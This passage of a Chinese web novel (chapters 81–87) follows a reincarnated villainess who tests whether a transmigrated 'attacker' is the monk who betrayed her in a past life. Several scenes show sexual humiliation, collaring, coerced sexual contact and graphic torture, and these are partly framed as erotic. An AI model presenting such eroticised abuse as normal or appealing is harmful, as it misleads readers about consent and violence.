“这位女施主,贫僧虽有菩萨心肠,不喜多与人计较,但这也不是你可以随意欺负我的理由……痛!好吧,贫僧的意思是……你能不能不要再打我了?” 云月娇一时恍然。 隔了几息,才淡淡恩了一声。 …… 五六分神似可以说是巧合。 但八九分神似就太不自然了。 如今云月娇面对的,便是裴青那跟黑衫佛子有八九分相似的、方式十分扭曲的关心。 他许是见不得她倚墙坐地,一人独饮,于是进屋后的第一句话便说: 裴青:“你起来吧,好不好?” 裴青:“地板是给我用来跪的。” 他指了指不远处铺着温暖皮毛的美人椅:“你就该坐在那里。然后把脚踩在我的脑袋上,让我去死,那样才比较符合我们的身份。” 云月娇笑不出来。 她甚至连表情都做不出来。 她只是沉默到有点诡异地盯着他,然后眼睛一眨不眨地闷了一口烈酒。 那裴青可能有点懂了。 因为他问了她一句: “真的有这么像吗?” 之后云月娇就看着他捡起了一个半满的酒壶坐在了她的旁边,那自来熟的模样就像当初黑衫佛子把她的大本营当成自己五星级的家。 每日吃吃喝喝嘻嘻哈哈,一日八餐,餐餐都不落下。 于是云月娇再开口时不自觉带上了点杀气。 “对,很像。” “每一个神态、动作,你说的每一句话都像到我想要立刻马上杀了你。” 她看到裴青微微皱起了眉头。 那怀疑的样子就像是他从来没有刻意在模仿谁。 他可能真的很困惑。 否则他不可能会对她问出: “能不能跟我说一说……他是个什么样的人?” 这样的问题。 80-90 81 第81章 ◎觉醒女配拒当后宫的第六天◎ 听裴青问那黑衫佛子是个什么样的人,又恰好看到他皱起眉头,云月娇的第一个反应,是抬手食指点在了他的眉心。 屋子里暖得像身处酷暑,她的指间却因天生体弱而凉得像冰,和他眉心的温度是鲜明对比。 云月娇一连说了三句话: “不要皱眉。” “皱眉就不像他了。” “他不会对我皱眉的。” 结果裴青却没有回应。 云月娇低头一看,发现他沉默地看着她的胸口。 “……” 是,她嫌重衣服压得自己喘不过气来,因而总是穿的不多,今夜也是同样,裴青的目光只是稍微向下,便可以看见一片旖旎风光。 云月娇不由冷笑道: “他虽然是个佛修,却跟你一样,不知道什么叫非礼勿视。” “我质问他怎么能算是个正统的佛修,他却理直气壮地倒过来反问我,既然他心中并无任何下流的心思,为什么就不可以欣赏美好的事物了。” “说来也是好笑。” “我识人无数,那天却是第一次脸红了。” “但脸红归脸红,我还是把他的脑袋按进了墙缝里,就像现在一样。” “砰!”声过后,云月娇没有理会哭爹喊娘喊痛的裴青,自己坐回了原地。 也不管他是不是真的在听,就继续说了下去。 “那时我也是个反派,许多人都要杀我。他就是跟着那些人一起来的。” “明明只要放任不管,我就会死,他却偏偏救了我一次、两次,多得我都数不清了。” “尽管他师从高僧,却没有什么拿得出手的本领。” “那些人来杀我时,每次他都是让我先走,他殿后,每次等我们再碰头,他总是被揍得像个猪头。” “我遇见过太多的恶意,实在受不了别人对我好。” “我看不得他一个没屁点用的家伙为我出生入死,所以假装和他反目,捅了他一刀后还踩了他好几脚。” “然后他就为了救我受了致命伤,差点死了。” “后面几年,我们意外找到了一个隐蔽的藏身之地,做了好几年真假夫妻。” “再后来……” 裴青本以为云月娇是说不下去了。 正要开口,只听她的声音变得无比的轻,可道出来的话语却阴沉无比。 字字似要杀人饮血。 “他负了我。” “他是攻略者。” 裴青默了下,才缓声慢道: “听起来……这不像是你这一辈子的事。” 云月娇闻言笑了起来,她狰狞的五官一下子变得柔和,可眼神中的杀意依然被压抑得浓烈。 “对,算我倒霉透顶,前后两世都跟你们这些攻略者拉拉扯扯纠缠不清。” 她盯着他的视线阴郁。 “有些人骗了我第一回,现在还要来杀我第二回。” 裴青叹声道:“我真的不是他。” 云月娇瞬间像被点燃! 手中酒壶“噼啪”一下在不远处的墙上摔成粉碎,空出来的手揪住裴青的衣领就把他砰的一声按在了地上。 云月娇倾身上前,居高临下的视线狠狠压了下去,与他只剩下最后二十公分的距离。 一字一句咬牙切齿,恨之入骨: “他为了攻略我,不惜封印了自己的全部记忆,哪怕要在攻略世界蛰伏了数十甚至上百年之久,也要修得能抵御我魔功的佛法。” “而修此佛法者,眸光总是异常清明。” “我见过那么多佛子,那么多佛修,唯独只有你的眼睛和他的是一样的。” “你说,我会不会信你?” …… 他一口咬定自己既不是佛修,也不会那所谓的佛法。 是她认错了人。 说世间之大,总要有一些机缘巧合白月光文学造化弄人宛宛类卿。 又说他们攻略者也是有尊严和原则的。 当舔狗可以。 但替身,不行。 云月娇实在见不得他的命脉被她捏在手里,却是那副傲骨铮铮义正言辞的模样,气不打一处来,懒管他到底是谁,一时间只想杀人解恨。 然而风势只是微变。 只听那个前一句还正说到“我不做替身。替身是万万不可能的。我只准你爱上真正的我。借我的身体去爱另一个人我绝对做不到”的人话锋猛地一转: “其实也不是不行。” “但这是另外的价钱。” 云月娇气极反笑:“原则?” 他立刻展露出自己的高风亮节: “我没有原则!” “……” 云月娇鄙夷地看着他。 她甩开了裴青的衣襟,起身后强忍手臂酸胀,用锦帕用力擦拭指间的样子像是刚刚碰到了什么脏东西。 “你最好真的不是他。” “否则日后我要连着今日的账和你一起算。” 尾音才落,云月娇的耳边立刻传来他小声的嘟囔:“反正我和那人都不可能有什么好下场,一不一起算能有什么区别……” 云月娇斜了他眼,他马上心有所感地捂住了自己的脖子。 见她走远,才放心开始作死: “咳……我说可能,只是可能,你口中的那个佛子……会不会早就已经死了?” 云月娇愣了一下。 这个问题……其实她曾经想过许多次。 毕竟已经过了这么久,连她都已经轮回转世。 说不定那个人也早就死了。 永远不会再记得她了。 这世间只剩下她一个人记得前尘过往,死死地攥着昔日的痛恨,要向一个已经忘掉了全部的人去复仇。 但就算如此……就算如此! 云月娇盯着裴青的视线阴冷,仿佛他就是那个人,一字一句地告诉他: “倘若他真的死了……哪怕是从地狱里,我也要把他给翻出来。” “假如他真的都不记得了,我就一遍一遍地跟他讲,直到他一字不落地背下来为止。” “我受过的苦,他要尽数尝过一遍。” “我感受到的痛,他全都要百倍奉还!” “只要我还活在这世上一天,他就不要想能死得痛快!” 怒声过后,四下冷不防安静了下来。 良久,才听裴青喟叹一声。 “你这又是何苦?” ‘女施主这又是何苦呢?’ “你可是连我们攻略者都搞不定的超级反派,做些什么不行呢?如今却硬要紧紧抓着一个辜负了你的人……已经搭进去了前世,难道还要连今生也搭进去吗?” ‘你有美貌前无古人后无来者,抬手便是一响百应,何必与那些嫉恨你的凡夫俗子一般见识、硬扛到底?他们是一无所有之人,因此才想要毁掉你这般无所不有的人啊……’ 他们太像。 像到云月娇气急,想杀人,却下不了手。 到了最后她只能随手捡起手边的装饰,砸向他那张面目可憎的脸。 “我喜欢吃苦关你屁事!” “把屋子收拾干净再滚!” 她听到他又叹了一声。 直到过了许久,他人走了,云月娇才回头看了一眼。 砸坏的东西是扫干净了,碎片半个不留,他从来时的窗翻出去后,还顺手给她关上了。 只是…… 看着本来七倒八歪的酒壶被他排得在她身后围成了半个圈,像在做法镇妖,云月娇的面目顿时狰狞无比。 “这该死的攻略者……” 好……很好。 既然他非要往绝路上走,那她便主动送他一程,全了他找死的心愿! 82 第82章 ◎觉醒女配拒当后宫的第七天◎ 往后的三日……云月娇倒是有些看不透裴青了。 他的攻略思路……似乎和别的攻略者都不一样。 她初初以为他走的是打感情牌的攻略路线。 况且他都已经知道了黑衫佛子的存在,知道那个人能怎么样动摇她影响她,顺着那条路线走那定是最好攻略的。 然而,一如他那天半开玩笑半认真说的那样。 她生气的时候,他可以毫不犹豫地立刻跪下来当舔狗。 却绝不当那个人的替身,身体力行地用钢铁的意志坚决回避爱情路线。 裴青:“你是小说反派,我是攻略者。你我若是上升到感情层面,那日后就太伤人了。” 正当云月娇想立即打死他的时候,他又用好像有点……舍不得的口吻对她说道: “你已经被他骗了第一次。” “不要再被我骗第二次了。” 云月娇:“……” 云月娇:“那你的攻略任务?” 说到这时,他冁然一笑。 “我不担心你的魔功,也十分清楚自己只有三天时间。” “娇娇。” 他的脸色和声音同时平静下来,以至于云月娇被他一声“娇娇”占了便宜,却跟着发不起火来。 他看着她,目光沉静,仿佛在陈述即将在未来上演、命中注定将要发生的事实。 “我已经安排好了。” “不会再有第十四个攻略者。” “我会成为最后一个。” “我会是你的必死局。” “……” 云月娇被他说笑了。 心理战,是吗? 他把城主府上下里外翻了三遍有余,却依然没有能找到盛伦的下落。 将被魔功洗脑在即,却还在三番五次激怒挑衅她,胆敢高高在上地对她说教,宣判她的结局。 必死局……必死局…… 在那之前,他恐怕要先面对自己的杀身之祸。 三日已到。 她云月娇遇到了那么多的攻略者,那么多的登场角色,可包括前世今生的两个男主角在内,没有人能抵抗得了她的洗脑魔功。 他们所有人,全部在三日之后被魔功洗脑成了以她为绝对中心的恋爱脑。 唯独除了黑衫佛子。 只有黑衫佛子。 他说自己不是他。 与那个人毫无瓜葛。 好,他硬要这么说,那她姑且信了。 但接下来……只要被她发现了一点端倪。 他就再也别想轻松地活,轻易地死。 “城主大人,门外裴青求见。” 云月娇挥手允见。 当大殿的门往里推开,那个人出现在她目之所及之处。 他迈向她的步子稳健,望向她的眸光仍然清明如天上雪。 他庄重地停在了她的跟前,十分难得地用一本正经、郑重其事的口吻,对她说道: “娇娇,如今我被你的魔功洗脑,也该算是自家人了。” “今夜,是不是也该轮到我上位了?” 云月娇微微笑了。 可以。 倒也还不算是太无趣。 …… 前世云月娇便控制不来这洗脑的魔功,今生要压制神凰金血、十五月华已是劳心劳力,更没有闲暇去掌控这魔功了。 乍一看裴青…… 他像,又不像。 可以说是演得像模像样煞有其事,说他是真的被魔功控制……也不是不行。 所幸她对此早有预料。 因而倒是有些准备。 坐在殿内高座之上的云月娇遣退了殿内的闲人后,像是在招自家小狗般对裴青扬了扬手,还说句:“过来。” 不像是前两天的夜里他说的每个字眼都气得她想杀人,今日的裴青格外顺从。 他不多吭声,步伐稳健之余又干净利落,仿佛无条件服从她的一切指令。 看着他这般坦荡听话的模样,云月娇不自觉皱了下眉头,在他即将踏上阶梯的前一秒,喊了句: “等等。” 他果然停下。 迎着他仰首望来的不解神情,云月娇的嘴边带上了甜美笑容,声声句句柔美娇俏。 “你,跪着上来。” 是,云月娇的确辨不出来裴青是在做戏还是不是。 但她深知这魔功是如何不讲道理的霸道。 不管是什么样的命令,只要出自她口,所有被魔功侵蚀的人绝不会感到半分的屈辱。 哪怕是她不分青红皂白让他们立刻去死,对他们而言都是一种天大的恩赐。 所以,只要裴青被她抓住哪怕只有一瞬间的屈辱…… “咚!” 他干干脆脆地跪了下去。 不用她开口,他以膝代脚,一步一步跪着阶梯来到了她的跟前。 匍匐在她身边……还用脑袋轻轻蹭了蹭她脚踝的时候,恍然什么自尊什么原则,全在她的面前变成了一场空。 云月娇:“……” 裴青他这般温顺上道……明明云月娇是该满意的,就算不满,也该像是接受挑战般燃起要彻底镇压对方的征服欲。 可不知为何,当下看到他这般卑躬屈膝的姿态,她内心涌出了一股无名火……气得她恨不得一拳头把那张可憎的脸捶扁。 可以。 既然他这么喜欢当狗,那她就让他当狗! 强压心头怒火,云月娇笑吟吟地问他: “裴青,你知道狗吗?” 他愣了愣:“是会汪汪叫的那种狗吗?” 云月娇在“恩呢”的同时取出了早早命人定做的项圈。 伴随项圈“咔哒”一声锁在了他的脖子上,她终于满意点头,露出舒心笑容。 “现在,你就是那种会汪汪叫的狗了。” 83 第83章 ◎觉醒女配拒当后宫的第八天◎ 被人当面羞辱……脖子上还套上了狗圈,裴青多少要觉得屈辱的。 云月娇居高临下地盯视他,只等抓他一个破绽。 然而……他只是摸着项圈若有所思。 似乎那狗圈并不是他的耻辱,而是至高无上的荣誉奖章。 云月娇不禁开始变得有点急躁,但她很好地控制住了自己的表情,不让心绪从脸上泄露出分毫。 不过看到裴青接下来的动作,她还是有点绷不住了。 他的指尖慢条斯理地摩挲着铁制的项圈,从最初的若有所思,渐渐变成了爱不释手。 之后在一个没有被预料到的瞬间,他忽而抬眼望来。 那双眼睛干净清冽,与他放肆下贱的样子形成鲜明对比。 在和面无表情的她撞上视线的瞬间,他突然笑了下,然后…… “汪。” 云月娇的心脏猛跳了一下。 其实不该是这样。 因为那个能把所有人都洗成恋爱脑的好魔功,她前世今生的周边尽是些哈巴狗,所以她最厌烦的便是别人低眉下首俯首称臣。 可是如今……也许是那黑衫佛子从来没有像裴青这样,显露出一副把自尊全部丢掉的样子。 兴致……倒是久违地有些起来了。 “……” 云月娇的指甲死死地掐进手臂的肉里,轻吐出了口气,压制下想一脚踩上去狠捻的冲动。 可以。 既然他要玩,她就陪他玩! 他爱演,她就陪他演! 他自己不知死活送上门来自取其辱。 她自当要放任自流不留情面赶尽杀绝。 想到这里,云月娇不由轻笑了声。 她抻了抻腿,之后用脚背勾起了裴青的下颚。 “学起狗叫倒是像模像样。” “也不知道其它方面……是不是也能这么像了。” …… 明明隔了鞋袜,云月娇好像依然感受到了裴青灼热的温度。 她的足尖顶在了他喉咙的时候,突然有一个瞬间觉得自己像是干柴取火,那滚烫的火焰仿佛随时要烧到自己的身上来。 云月娇咬了咬牙。 脚微微用力。 他的脸顺从地随之跟着微微仰起。 “……” 有一说一,裴青与黑衫佛子长得确实不像。 他那张脸棱角分明,浓颜深邃,充满了攻击性,与黑衫佛子的温厚是两种极端。 可偏偏此时他一脸的心甘情愿甘之如饴,像只乖巧听话的小狗,不知道什么叫做拒绝反抗……看得云月娇更加恼火。 她脚上加了力道。 鞋底贴着他的喉咙用力往下,那里的皮肤本来就娇弱,走过的地方顿时泛起胭红。 低眼扫过那红痕,云月娇心中顿时有几分扬眉吐气的痛快。 但这还不够。 她要亲手撕开他的伪装,把他的脑袋按进泥泞,看到他用最不堪的姿态最绝望的语气向她求饶才行。 “人与牲畜的区别……多不过在于礼义廉耻。” “如今你已经是条狗,那些用来装人的东西想必就不再需要了。” 她的声色是那般云淡风轻,脚上的动作却毫不留情。 当一路向下的鞋尖拨开了他的衣襟,粗粝鞋底在他皮肤上留下的红痕形如屈辱的烙印,她不由嘲笑道: “你还在等什么?” 她眸光锐利,字词也加上了重音: “身为牲畜,就应该要有牲畜的样子。” 于是裴青终于动了。 云月娇表面不动声色,微微眯起的眼睛却盯紧了他的一举一动,绝不错过他脸上任何一个最微末的细节。 只要他露出一丁点的屈辱,她就会立刻戳穿他的真面目。 哪怕只是皱一下眉头…… 直到裴青抛弃身为人的礼义廉耻,像一只光溜溜的狗跪坐在她脚边,她也没能抓到丁点把柄。 云月娇咬牙切齿,终于忍不住一脚踩上去用力狠捻。 “你就这么坦荡?” 他的嘴边传来一声闷哼,回话的时候呼吸略急,脸色也开始发红。 “城主大人……愿意为我花心思,该是我感到荣幸才……” 没等他的话说完,听不下去的云月娇猛地一拽,收紧了与项圈相连的狗绳,看他因瞬间窒息而脸红脖子粗,不由俯下身来,在他耳旁低语: “既然你这么光荣……那我们出去逛逛,让所有人都看看你的徽章,好不好?” 他愣了愣。 云月娇刚要露出胜利的微笑,却听他低眉顺眼地答了声:“当然好。” 她皱起了眉头。 “但在出去之前……” 裴青的身体第一次在她开口之前主动迎向了她。 他贴了上来,像是那些被嗜欲支配没礼貌的小公狗,抱住了人的腿,当成了发泄的对象,轻轻蹭动了起来。 “我们可不可以先做一点……热身运动?” 云月娇有生以来第一次被气得发抖。 她算是知道为何从一开始便有种拳头打在棉花上的感觉了。 敢情她对他的所有羞辱,在他眼里……全部都是对他的奖励! 暴怒之下,云月娇一脚把人踹开,后者没有防备,被突然发难蹬得失去了平衡,狼狈地滚下了阶梯。 云月娇仍不解气。 她狠一收紧狗绳,便把裴青拽得趴在了楼梯上。 见他瞬间吃痛得皱眉,云月娇才算消了点气。 她勾了勾唇角,满脸对他的讥讽嘲笑: “你倒是真不要礼义廉耻了。” 似花了点时间适应剧痛,他顿了顿才慢慢开口: “礼义廉耻与我何干呢?我不过个只会顺应本能的牲畜。” 他手长脚长,走了两步便像怎么都赶不走的公狗一样回到了她的脚边。 还要不知死活地仰起头来看她,眸光晦暗。 “城主大人怎么如此恼火?难道在训狗之前,您不知道……” “狗是有发情期的吗?” 云月娇冷笑:“你现在是在向我提要求?” 直到这时,裴青才终于垂下眼睫,长长的睫毛在眼底洒下一片阴翕。 “不是要求,是请求。” 他口中说是请求,然而他的双手却抓住了她的双腿。 他静止不动,却好像想要用力掰开,随时会凑过来。 云月娇刚生出这种预感,只见裴青重新抬起了视线,对她说: “城主大人。” “我饿了。” 84 第84章 ◎觉醒女配拒当后宫的第九天◎ 云月娇喜欢使唤听话的狗。 除了在这种时候。 他们对她惟命是从,她说什么、让做什么,他们都逆来顺受来者不拒。 云月娇一开始还会觉得新鲜,到了最后就只剩下厌烦。 可前世遇到的那些所谓天之骄子的人……世人口中的天命之子,什么宗的少宗主也好,上古神兽血脉的后裔也罢,他们的意志力总是薄弱得令人发指。 无论最一开始如何危言正色,顶多不到一刻钟便原形毕露。 无聊得让人对寻欢作乐失去兴致。 所以在前世,云月娇最喜欢的,便是强迫黑衫佛子,抓着他和她饮怨做恨。 毕竟只有他才会一脸不情愿的开始,中间过程好像被苦苦折磨,结束时的喜盈于色都不加以掩饰。 “嘶——!这位女施主,情毒已解,你怎么又……” “你说解了就解了?身体是我的,难道我自己还不清楚?” “……” “……” “这位女施主……” “食不言,寝不语。” “……” “嘶——!那里不可以,会痛!” “不要喊痛!你一个大男人怎么比我还娇气?” “……………………” 把舌灿莲花的佛子干到无语,曾经是云月娇的人生乐趣所在。 除了黑衫佛子,再没有第二个人能让她乐在其中了。 ……本来应该是如此的。 在这一秒、这一刻之前,云月娇一直是这么以为的。 只是当此时此刻……看到裴青双目发红,欲求而不得,云月娇才忽然惊觉自己好像在不知道什么时候开始,忽然找回了只存在于前世的乐趣。 所以她才会鬼使神差般踢掉了鞋子。 隔着丝锦袜踩了上去。 裴青猛震了一下后,袜尖便微湿了。 他的声线也开始沙哑。 “娇娇…*…” 看着裴青恍惚又隐忍的样子,坦白说……他和那些渴望她的公狗好像没有什么不同,但错就错在那一双眼睛。 那些人看她皆是贪欲薰心,唯独只有裴青的眸光清明。 他仿佛是在无比清醒、无比理智的状态下,做出了这些事来。 他和黑衫佛子那么不像,却又那么像。 光是听到他断断续续的低沉嗓音,粗重的呼吸,云月娇就想把他往死里折磨。 “你既然养了我这条狗……就该对我负责。” ‘这位女施主……既然你硬把我拉上了贼船,是不是就该对我负责?’ “如今我饿了,你是不是总该喂点什么……给我吃?” ‘你饿着我却不肯放手,钓着我又不肯投食,这世间万万……没有这种道理啊。’ 毫无相似之处的两张脸孔恍然叠在了一起。 只是……黑衫佛子从来没有叫过她名字的叠词。 他总是一声这个女施主,一声那个女施主。 前世唯一一次叫了她的名字,是在她死的那一天。 他说:“明枝,不要看。” 他不准她看他心魔的记忆。 可她偏偏全都看了。 看到他其实并不是这个世界的人,是为了将错位的剧情扶上正轨而作为攻略者来到了这个世界。 为了修得抵御魔功的佛修,封印了本来的记忆,蛰伏了几十上百年。 看到他如何运筹帷幄步步为营。 从他来到她的身边,到她被中情毒,再到后来一路逃亡流浪,他们所有的行动,全部都在他一开始的设计之中。 看到他们本可以隐居在没有人知道的角落里,不声不响地过完余生。 他却选择了引来小说的男主角,想让她死在他的手里。 他是从不尝败绩、男主系统部门最优秀的攻略者。 而她只是用来完整剧情、一个必须要死的登场角色。 恨吗? 这怎么能不恨呢? 当年她初初想起前世的时候,杀了盛伦足足两千两百七十二次。 今夜也不知道要把裴青的脖子掐出多少条血痕,她才能停得下来。 云月娇:“痛吗?” “……” 他看起来应该是很痛苦的。 那双碰过她的放肆双手此时已被折断,又被铁环高高拉起,人跌坐在她城主的宝座面前,后颈正好被她掐住脖子的右手抵在了宝座的直角边上。 他呼吸粗重,被掐得连话都说不出来了,但云月娇垂眸扫了一眼,被挤轧的另一道刚直不屈,爆出来的青筋血管狰狞丑恶。 见他这么痛苦,云月娇忍俊不禁。 云月娇:“当年你设计我中了情毒,故意诱我与你欢好,害我魔功散尽,被那些正义之师追杀了好多年,吃了那么多的苦。骗了我的感情,最后还逼得我引爆元神自焚而亡。” 云月娇:“如今……终于换你来尝我当年受过的那些罪了。” “说好的患难与共、同生共死……总不该只有我一个人遭罪受死。” 裴青被她掐得窒息,听到她的话,好不容易才从嗓子眼挤出了一句嘶哑虚弱的: “我不是他……” 不是他……不是他…… 云月娇垂眸笑了。 “看来还要再痛一点,你才能记得我是谁。” 他不能忘了。 就算忘了。 他也必须给她想起来。 只有他记得一切。 才算是她大仇得报。 才不算她……恨错了人。 85 第85章 ◎觉醒女配拒当后宫的第十天◎ 云月娇活了前后两世,遇了不少攻略者,却也是第一回遇见像裴青这般刀枪不入、滴水不漏的。 她一句“牲畜不需要礼义廉耻”,他便全都不要了。 无论她对他做什么、让他做什么……他都像一条只受本能控制的公狗,只会露出哈巴狗的那副嘴脸,拼命对她摇尾吐舌。 硬是一丁点的马脚都露不出来。 云月娇起初被他气得不行。 那日力道没控制好,一不小心就下了狠手。 偏偏他照单全收,自己疼昏过去之前,还不忘强撑着最后一口气……诚恳认真关怀备至地嘱咐她: “娇娇,既然你已经拿我出了气,那就不可以再气自己了。” 云月娇曾遇见过许多没脸没皮的人。 倒是第一回险些被一句话给气得两眼一黑。 可即便没晕过去,她也是头回被气得发抖。 自那以后,云月娇涨了教训。 她知道他说话讨厌。 于是趁裴青还没醒过来,让人把舌头给他拔了。 又拧碎他的手,折断他的腿,好好套上狗圈,连带着射出的自由也绝不给他。 可这好像都没有什么用。 裴青只凭一个眼神,就能让她胸闷气短,一腔无名火想发,却发不出来,于是更加骨鲠在喉,憋得慌。 她不是没试过变本加厉地折磨裴青。 但那自然更没什么用。 当她终于忍无可忍,对他发泄道:“你怎么还不给我去死!!!” 他为了应她所言,绝不让她话有落空,竟是真的自爆了内丹。 后来云月娇费了好大功夫才把人给救了回来。 也是从那件事以后,云月娇被气到没脾气了。 她整个人进入到了怒极过后的平和,他依旧无懈可击,将被魔功洗脑的人设进行到底,被接回了舌头四肢,也不见丝毫得意。 她问了多少遍的:“今日你可想起了些什么?” 他便回了多少次毫无新意的:“娇娇,我真的不是他。” 裴青的眼神永远是那样干净清明。 与他对视,云月娇总觉得自己正面临、正遭遇的一切,皆是他设下的陷阱。 于是她不由便想起了那一天……裴青说不会再有第十四个攻略者,他会成为最后一个。 他将会是她的必死局。 必死局……必死局…… 那好,她就给他这个排面,亲自下场,给他做局。 若他过了这一关,那便皆是误会一场。 但倘若他过不了…… 云月娇:“裴青。” “我在。” 她深深地看了他一眼。 “祝你好运。” …… 倘若不是隔了黑衫佛子这一层关系……云月娇会很喜欢裴青。 因为他确实很有本事。 尤其行事作风狠绝不留余地,明面与她嘻嘻哈哈,暗地处心积虑筹谋杀她,实在是让人喜欢到想要掐死他。 被魔功洗脑前的三日,裴青做了许多事。 他做的每一件事,从不瞒她。 于是云月娇便亲眼看着短短三日,他以“得盛伦者可得万界天下”的天启集结军马,为她树敌无数。 无一人可作壁上观隔岸观火,那些眼高于天的大人物愿或不愿……尽数被他的威逼利诱软硬兼施拿捏得死死,不得不亲自下场,趟这一趟浑水。 甚至如今,她明知道他设下通天阳谋,却还是愿意去这一趟周城。 倘若裴青说,十日后于周城举行的三十六城联议是她的必死局。 云月娇愿意信的。 可当她真的将要赴这鸿门宴,他却脸色一变,还告诉她:“危险,不要去。” 云月娇对他的不要脸已经见怪不怪了。 她不生气,还大大方方地笑了下: “我若死了不正好遂了你的愿吗?” “你倾尽全力为杀我而布下的局,我怎么能不去?” 裴青的神色顿时变得很复杂。 “那个人……你就这么爱他吗?” 云月娇被他问得不由恍惚。 其实没有什么羞于承认的。 虽然她被人骗,但错的不是她的感情,而是骗她的那个人。 她曾经爱得热烈,从不加掩饰。 爱得坦荡赤忱,能将一颗真心完完整整地捧出来,亲自交到了他的手上。 这世间不是人人都有这份勇气。 她为什么要羞耻? 她绝不要因为他的错误,而去耻笑曾经那个那么认真、那么勇敢的自己。 云月娇:“是,我曾经真的很爱他。” 裴青似乎心觉苦涩又不禁羡慕。 他非要演,云月娇便也淡淡开口了。 “你倒也不必如此。” “尽管不是对所有人来说,爱的对立面都一定是恨。” “但我是。” “我过去有多么真挚地爱过他。” “今日便有多么强烈地憎恨他。” 云月娇很少直呼黑衫佛子的名字。 面对裴青,她是第二次这么叫他。 “英殊。” “你这次一定不要有所保留,要费尽心思不遗余力地杀掉我。” 云月娇只告诉了裴青她想起了前世,却从来没有说过与前世记忆一同到来的,还有来自另一个攻略世界的声音。 他们邀请她联手。 说要发起抗争,要彻底摆脱掉系统和攻略,要毁掉一切,得到自由。 云月娇:“因为只要我不死。” 她同意了,却一直没有行动,是因为还没有见到他,怕再也遇不到他。 可既然见到了…… 那就没有了再等下去的理由。 一旦他露出马脚,只要证实他就是黑衫佛子,终章便会开启。 云月娇:“我就一定会连带着那个男主系统部门一起,彻彻底底、完完全全、不留一丝余地地……毁掉你。” 86 第86章 ◎觉醒女配拒当后宫的第十一天◎ 云月娇大概能猜到正在她所在世界生成的,是一本什么样的小说。 如果要命名,那必非《万界天帝》莫属。 “天帝” 是天上城恒久不变的主题。 毕竟他们三十六城各自为政,互相征战许久,全都是为了统一整个天上城,成为天帝,号令万界。 而每一次召开三十六城联议,都是和天帝有关。 上一回是往前数五百年,当时疆城城主动用了上古邪术,将邻近三城的数百城民炼成了尸。 这本没什么,可偏偏他飞扬跋扈不知收敛,撂下狠话说下任天帝非他莫属。 于是大家开了个会,各自派了些兵力,最后把疆城给屠平了。 今次,同样事关“天帝”,但却是因为天启。 云月娇也不知裴青究竟是如何办到的。 天启造成的异象非但波及了三十六城中的一半,他甚至把销声匿迹了将近百年的逍遥神给找了出来。 逍遥神不属于三十六城中的任何一个,是散仙,却有神格七品,可与上位城主相较量。 他远离尘嚣,无意斗争,因精准了预言十次重大灾难而被封神。 逍遥神在天上城的地位颇高。 于是此次,他从波及了近半天上城的异象中预言了“得盛伦者可得万界天下”“天帝即将诞生”的天启后,没有人不信。 没有人不敢不信。 盛伦之名极快传遍了天上城的每一个角落。 所有人皆注目于一触即发的天帝角逐之争。 唯独云月娇像在看小说的开篇。 因盛伦的消失而停滞不前的小说剧情……硬是被裴青给强制启动了。 这完完全全一派黑衫佛子的作风…… 可真是,久别重逢了。 …… 今日将在周城举行三十六城联议。 云月娇却依然身处荒城。 自十日前有意无意地对裴青提过将赴会三十六城联议后,她一直按兵不动,隐忍不发。 云月娇在等。 等裴青露出破绽。 三十六城联议是裴青为了杀她而布下的必死局,毕竟所有人都能猜到盛伦就在她云月娇的手中,而她若不去,他定是功亏一篑,因此怎么也该明里暗里想方设法,逼她启程。 然而这日子一天天地过去了,距离三十六城联议的日子越来越近。 云月娇等了十日。 憋了十日。 忍了十日。 直到今日,却什么都没能等到。 前五天,她一字不提,他便半句不说。 主打一个强作镇定、故作从容,将被魔功洗脑的人设演绎到底,坚决回避任何有关于三十六城的联议,生怕诱她想起了这回事,要即刻出发。 后五日则一日比一日轻松。 仿佛觉得她当日只是随口一提,早就把三十六城联议抛之脑后,已经想不起要带他和另外个前攻略者之一的江凌霄前去赴会的这件事了。 到了此刻,他完全放松了下来。 与她谈笑风生,甚至还十分有耐心地给她剥葡萄皮剔籽儿。 逼得等他作妖的云月娇终于等不下去了。 死盯着他便是阴阴沉沉的一句: “你就不急?” 他一时没有反应过来。 皱了皱眉头又松开,试图厘清头绪却无从下手,只好声好气地反问了她一句: “我……要急什么?” “……” 任是已经不怎么常发火的云月娇也被他的反问堵得想马上打死他。 甚至忽然觉得她不去三十六城联议,才是真正的中计。 裴青:“娇娇?” “不要这么叫我!” 他垂眸抿嘴。 裴青越是这幅模样,云月娇便越是气不打一处来。 她狠狠地拍掉了他手中的葡萄,用鞋尖捻成肉泥,阴郁地注视他,皮笑肉不笑地连说了三句可以。 “可以,可以。你真是可以的。” 她没眼看他苦涩的神色,反手开启了直达周城的仙门。 而直到这个时候,裴青才终于发生了点变化。 他少见地以下犯上抓住了她的手臂,云月娇回头时,看到的是他一瞬苍白如纸的脸色。 他说:“不要去。” 还说: “……我知道你一直不肯信我,但三十六城联议对你来说是九死一生。” “你让我做什么都可以,哪怕是那个人的替身,只要你不去周城,怎么样都可以。” 云月娇定定地看了看他发红双眼,最后冷笑了声,一脚踹开了他,干脆利落地踏入了直达周城的仙门。 “跟上。” “……” “……是。” 要说起来,云月娇与周城也算是很有些交情了。 因而这仙门定位定得颇为精准。 直接就定在了举行三十六城联议的广殿。 云月娇生得美丽娇柔,不杀人时可说是温柔可亲平易近人,如今乍一眼看上去,只像是个柔柔弱弱的女仙娥。 此时又恰逢联议途中,也不知说到了什么,人人交头接耳,因此没留意到忽然多出了个人。 云月娇大摇大摆地走到旁边,听那些个眼馋天帝之位好些年的老东西商量着要怎么拿捏她: “荒城那小女娃弑杀双亲、自己坐上了城主之位时不足百岁,是个心狠手辣的角色,恐怕不好对付……” “荒城不过是个朔方小城,城中精锐战士稀缺,若是她不愿意交出那天启之子,我们直接来硬的便是。” “何必如此麻烦,我看这联议也没有开的必要,直接吞并了荒城,那天启之子……谁抢到,便是谁的!” 云月娇一一记在账上。 她本想再安静听一会,试图推算一下裴青究竟给她安排了个什么必死的局面,奈何她带在身边的前攻略者之一的江凌霄是个超级显眼包。 见无人下跪恭迎云月娇,便像是下界皇帝身边的小太监,拉长了嗓音,拔高了音调,气音洪亮道: “荒城城主,到——!” 广殿霎时静若死寂。 所有人都望了过来。 万众瞩目之下,云月娇只是漫不经意地瞥了斜后方的裴青一眼。 ——他仍然兢兢业业地扮演着被魔功洗脑的攻略者人设,像是一条只要她一声令下便会对眼前所有人冲上去撕咬拼命的忠狗。 他直到此时依旧滴水不漏,无懈可击。 87 第87章 ◎觉醒女配拒当后宫的第十二天◎ 从裴青可以眼睛不眨一下地自爆内丹的那一刻起,云月娇便知道死亡的威胁是拿捏不了他的。 既然他这么喜欢演,那她就让他继续演。 